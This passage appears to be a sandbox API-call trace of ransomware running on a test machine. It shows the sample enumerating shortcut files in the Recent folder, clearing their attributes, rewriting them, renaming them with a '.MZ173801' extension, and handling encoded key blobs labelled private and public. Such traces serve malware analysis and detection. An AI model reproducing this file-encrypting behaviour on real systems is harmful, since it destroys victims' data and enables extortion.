lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x27e [0152.519] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.519] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x27e, lpOverlapped=0x0) returned 1 [0152.520] CloseHandle (hObject=0x280) returned 1 [0152.520] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vB8zsHUk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vb8zshuk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.522] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x27e, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x27e, lpOverlapped=0x0) returned 1 [0152.523] CloseHandle (hObject=0x280) returned 1 [0152.524] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vB8zsHUk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vb8zshuk.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vB8zsHUk.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vb8zshuk.lnk.mz173801")) returned 1 [0152.525] GetCurrentThreadId () returned 0xab4 [0152.525] GetCurrentThreadId () returned 0xab4 [0152.525] GetCurrentThreadId () returned 0xab4 [0152.526] GetCurrentThreadId () returned 0xab4 [0152.526] GetCurrentThreadId () returned 0xab4 [0152.526] GetCurrentThreadId () returned 0xab4 [0152.526] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf546e835, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x4bb3ef4c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4bb3ef4c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2e5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Videos.lnk", cAlternateFileName="")) returned 1 [0152.526] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.526] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.526] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\videos.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf546e835, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x4bb3ef4c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4bb3ef4c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2e5)) returned 1 [0152.526] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\videos.lnk")) returned 0x20 [0152.526] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk", dwFileAttributes=0x80) returned 1 [0152.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.529] GetCurrentThreadId () returned 0xab4 [0152.529] GetCurrentThreadId () returned 0xab4 [0152.529] GetCurrentThreadId () returned 0xab4 [0152.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.529] GetCurrentThreadId () returned 0xab4 [0152.529] GetCurrentThreadId () returned 0xab4 [0152.529] GetCurrentThreadId () returned 0xab4 [0152.529] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\videos.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.530] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.530] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.530] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x2e5 [0152.530] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.530] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x2e5, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x2e5, lpOverlapped=0x0) returned 1 [0152.531] CloseHandle (hObject=0x280) returned 1 [0152.531] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\videos.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.532] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x2e5, lpOverlapped=0x0) returned 1 [0152.533] CloseHandle (hObject=0x280) returned 1 [0152.534] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\videos.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\videos.lnk.mz173801")) returned 1 [0152.534] GetCurrentThreadId () returned 0xab4 [0152.534] GetCurrentThreadId () returned 0xab4 [0152.535] GetCurrentThreadId () returned 0xab4 [0152.535] GetCurrentThreadId () returned 0xab4 [0152.535] GetCurrentThreadId () returned 0xab4 [0152.535] GetCurrentThreadId () returned 0xab4 [0152.535] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf340c41e, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x5b26eb2e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5b26eb2e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="VqltAk.lnk", cAlternateFileName="")) returned 1 [0152.535] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.535] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.535] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VqltAk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vqltak.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf340c41e, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x5b26eb2e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5b26eb2e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f3)) returned 1 [0152.535] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VqltAk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vqltak.lnk")) returned 0x20 [0152.535] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VqltAk.lnk", dwFileAttributes=0x80) returned 1 [0152.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 